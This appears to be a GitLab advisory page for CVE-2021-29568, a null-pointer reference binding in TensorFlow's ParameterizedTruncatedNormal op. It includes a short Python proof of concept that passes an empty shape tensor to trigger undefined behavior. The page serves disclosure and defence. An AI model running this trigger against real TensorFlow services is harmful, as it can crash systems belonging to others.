CVE-2021-29568: Reference binding to null in `ParameterizedTruncatedNormal`

(updated )

An attacker can trigger undefined behavior by binding to null pointer in tf.raw_ops.ParameterizedTruncatedNormal:

import tensorflow as tf

shape = tf.constant([], shape=[0], dtype=tf.int32)
means = tf.constant((1), dtype=tf.float32)
stdevs = tf.constant((1), dtype=tf.float32)
minvals = tf.constant((1), dtype=tf.float32)
maxvals = tf.constant((1), dtype=tf.float32)

tf.raw_ops.ParameterizedTruncatedNormal(
shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals)

References

Detect and mitigate CVE-2021-29568 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →